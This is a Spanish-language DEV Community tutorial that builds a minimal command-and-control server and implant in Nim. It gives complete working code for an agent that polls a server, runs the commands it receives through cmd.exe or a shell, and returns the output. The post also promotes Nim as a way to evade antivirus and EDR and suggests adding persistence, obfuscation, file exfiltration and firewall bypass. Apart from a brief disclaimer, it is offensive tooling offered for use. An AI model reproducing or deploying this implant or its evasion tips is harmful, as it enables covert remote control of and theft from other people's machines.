DEV Community

Cover image for Construyendo tu Propio C2 con Nim (Porque Python ya es muy Mainstream)
rventz
rventz

Posted on

Construyendo tu Propio C2 con Nim (Porque Python ya es muy Mainstream)

# Disclaimer: Úsalo solo en entornos que controles o tengas permiso explícito. Ya sabes, ética y esas cosas aburridas pero necesarias.

¿Por Qué Nim? (Y Por Qué Deberías Prestarle Atención)

Probablemente estés pensando: "¿Nim? ¿No es ese lenguaje que nadie usa?". Bueno, sí y no. En el mundo del red teaming, Nim se está convirtiendo en el chico cool del barrio por varias razones:

  • Binarios pequeños: Tu implant no pesará como si estuvieras distribuyendo Node.js

  • Sintaxis agradable: Es como Python pero que compila a C, dándote lo mejor de ambos mundos

  • Evasión de AV: Los antivirus están entrenados para detectar C#, PowerShell, y Python. Nim todavía vuela bajo el radar

  • Interoperabilidad con C: Puedes llamar a las APIs de Windows sin venderte el alma al diablo

Así que sí, vamos a hacer un C2. No pretendo replicar Cobalt Strike, pero sí algo funcional, elegante y que demuestre el poder real de Nim en el mundo de la seguridad ofensiva.

¿Qué Vamos a Construir?

Un C2 (Command and Control) es básicamente un servidor que le dice a tus agentes (implants) qué hacer, y ellos obedecen como buenos soldaditos digitales. Piensa en ello como un chat muy aburrido donde tú escribes comandos y la computadora víctima responde con resultados.

Arquitectura simplificada:

  1. Un servidor que escucha y envía comandos
  2. Un agente que se ejecuta en el "target" y hace lo que le pidas
  3. Comunicación entre ambos (porque telepatía computacional todavía no existe)

No vamos a reinventar la rueda aquí. Esto es un C2 minimalista, funcional, educativo. Si quieres pivoting, módulos post-explotación y un GUI con temas oscuros, te toca a ti mejorarlo después.

El Servidor: Tu Centro de Operaciones

Primero necesitamos algo que escuche conexiones. Vamos a usar HTTP porque es simple y no levanta tantas sospechas (spoiler: todo el mundo usa HTTPS, pero este es un ejemplo educativo).

import asynchttpserver, asyncdispatch, strutils, tables, times

type
  Agent = object
    id: string
    lastSeen: Time
    pendingCommand: string

var agents {.threadvar.}: Table[string, Agent]

proc initAgents() =
  agents = initTable[string, Agent]()

proc handleRequest(req: Request) {.async, gcsafe.} =
  case req.reqMethod:
  of HttpGet:
    # Agente pidiendo comandos
    let agentId = req.url.path.strip(chars = {'/'})

    if agentId in agents:
      agents[agentId].lastSeen = getTime()
      if agents[agentId].pendingCommand.len > 0:
        let cmd = agents[agentId].pendingCommand
        agents[agentId].pendingCommand = ""
        await req.respond(Http200, cmd)
      else:
        await req.respond(Http200, "idle")
    else:
      # Nuevo agente registrándose
      agents[agentId] = Agent(id: agentId, lastSeen: getTime(), pendingCommand: "")
      echo "[+] Nuevo agente conectado: ", agentId
      await req.respond(Http200, "registered")

  of HttpPost:
    # Agente enviando resultados
    let agentId = req.url.path.strip(chars = {'/'})
    let output = req.body
    echo "\n[", agentId, "] Resultado:\n", output
    await req.respond(Http200, "received")

  else:
    await req.respond(Http400, "nope")

proc commandLoop() {.async.} =
  while true:
    await sleepAsync(100)
    stdout.write("C2> ")
    stdout.flushFile()

    var input = ""
    try:
      input = stdin.readLine()
    except EOFError:
      continue

    if input.len == 0:
      continue

    let parts = input.split(" ", 1)

    if parts.len < 2 or parts[0].len == 0:
      echo "Uso: <agent_id> <comando>"
      echo "Agentes activos:"
      for id in agents.keys:
        echo "  - ", id
      continue

    let agentId = parts[0]
    let command = parts[1]

    if agentId in agents:
      agents[agentId].pendingCommand = command
      echo "[+] Comando para ", agentId
    else:
      echo "[-] Agente no encontrado"

proc main() =
  initAgents()

  echo """
  ╔═══════════════════════════════════╗
  ║   Mini C2 Server - Nim Edition    ║
  ║   (Use responsibly, or else)      ║
  ╚═══════════════════════════════════╝
  """
  echo "[*] Servidor escuchando en puerto 8080..."

  let server = newAsyncHttpServer()
  asyncCheck server.serve(Port(8080), handleRequest)
  asyncCheck commandLoop()
  runForever()

when isMainModule:
  main()
Enter fullscreen mode Exit fullscreen mode

¿Qué hace este código?

  • Escucha en el puerto 8080 (super predecible)
  • Los agentes se registran haciendo GET con su ID
  • Tú envías comandos escribiendo
  • El agente recoge el comando y envía los resultados por POST

Sí, lo sé, no hay autenticación, no hay encriptación, un niño de 12 años con Wireshark vería todo. Pero hey, es un punto de partida.

El Agente: Tu Espía Digital

Ahora la parte divertida: el implant que va a ejecutarse en el objetivo.

nimimport httpclient, os, osproc, strutils, times, random

const
  SERVER = "http://localhost:8080"
  SLEEP_TIME = 5000  # 5 segundos entre callbacks

proc generateId(): string =
  # ID único basado en timestamp y random
  randomize()
  result = "agent_" & $getTime().toUnix() & "_" & $rand(9999)

proc executeCommand(cmd: string): string =
  try:
    when defined(windows):
      result = execProcess("cmd.exe /c " & cmd)
    else:
      result = execProcess(cmd)

    if result.len == 0:
      result = "[Comando ejecutado sin salida]"
  except:
    result = "Error ejecutando: " & getCurrentExceptionMsg()

proc beacon() =
  var agentId = generateId()

  echo "[*] Iniciando agente: ", agentId

  var registered = false

  while true:
    try:
      let client = newHttpClient(timeout = 10000)

      if not registered:
        # Registro inicial
        discard client.getContent(SERVER & "/" & agentId)
        registered = true
        echo "[+] Registrado en el servidor"

      # Pedir comandos
      let response = client.getContent(SERVER & "/" & agentId)

      if response == "idle":
        # No hay nada que hacer
        sleep(SLEEP_TIME)
        client.close()
        continue

      if response == "registered":
        # Ya estamos registrados, continuar
        sleep(SLEEP_TIME)
        client.close()
        continue

      # Ejecutar comando
      echo "[*] Ejecutando: ", response
      let output = executeCommand(response)

      # Enviar resultados
      discard client.postContent(SERVER & "/" & agentId, output)
      echo "[+] Resultado enviado"

      client.close()

    except:
      echo "[-] Error de conexión: ", getCurrentExceptionMsg()
      registered = false  # Intentar re-registro
      sleep(SLEEP_TIME * 2)

    sleep(SLEEP_TIME)

when isMainModule:
  beacon()
Enter fullscreen mode Exit fullscreen mode

Lo que hace el agente:

  • Se genera un ID único (hostname + timestamp porque soy creativo)
  • Se registra en el servidor
  • Cada 5 segundos pregunta "¿hay algo para mí?"
  • Si hay comando, lo ejecuta y devuelve el resultado
  • Repite hasta el infinito (o hasta que lo mates)

Prueba esta belleza..

Terminal 1 - Servidor:

nim c -r server.nim
Enter fullscreen mode Exit fullscreen mode

Terminal 2 - Agente:

nim c -r agent.nim
Enter fullscreen mode Exit fullscreen mode

Terminal 1 (de nuevo):

C2> mi-laptop_1234567890 whoami
 [+] Comando para mi-laptop_1234567890

 [mi-laptop_1234567890] Resultado:
 u-usuario
Enter fullscreen mode Exit fullscreen mode

¡Boom! Tu primer C2 funcionando. Admite que se siente bien.
Mejoras Obvias (Que Te Toca Hacer a Ti) Este código es básico a propósito. Si realmente quieres usarlo para algo serio (en un entorno legal, ¿verdad?), considera:

  1. Encriptación: Agrega HTTPS y/o encripta los comandos. AES es tu amigo
  2. Ofuscación: Ofusca strings, nombres de funciones, y el binario completo
  3. Persistencia: Haz que el agente sobreviva reinicios (registry, scheduled tasks, etc.)
  4. Multi-comando: Soporte para múltiples comandos sin bloquear
  5. Exfiltración de archivos: Porque a veces quieres más que texto
  6. Jitter: Randomiza los tiempos de callback para evitar patrones detectables
  7. Domain fronting/DNS tunneling: Para bypasear firewalls molestos

¿Por Qué Esto Funciona Mejor en Nim?

Compila tu agente y mira el tamaño:

nim c -d:release --opt:size agent.nim
ls -lh agent
Enter fullscreen mode Exit fullscreen mode

Probablemente verás algo como 200-300KB. Compáralo con un ejecutable de Go (varios MB) o un script Python empaquetado con PyInstaller (decenas de MB). Nim te da el rendimiento de C con la comodidad de un lenguaje moderno.

Además, los EDR/AV todavía no tienen muchas firmas para Nim. Obviamente esto cambiará con el tiempo, pero por ahora es una ventaja.

Palabras Finales

Has construido un C2 funcional en menos de 150 líneas de código. ¿Es Cobalt Strike? No. ¿Es Sliver? Tampoco. Pero es tuyo, lo entiendes completamente, y te costó $0.

Nim es una herramienta poderosa para seguridad ofensiva que no está recibiendo toda la atención que merece. Si estás cansado de los mismos lenguajes de siempre, dale una oportunidad.

Y recuerda: con gran poder viene gran... ya sabes el resto. No seas malvado. O al menos no me menciones si lo eres.

Recursos:

  • Nim Documentation
  • OffensiveNim
  • Nim for Windows Exploitation

¿Preguntas? ¿Mejoras? ¿Quejas? Déjalas en los comentarios. O no, también está bien.

Happy hacking!!!

Top comments (0)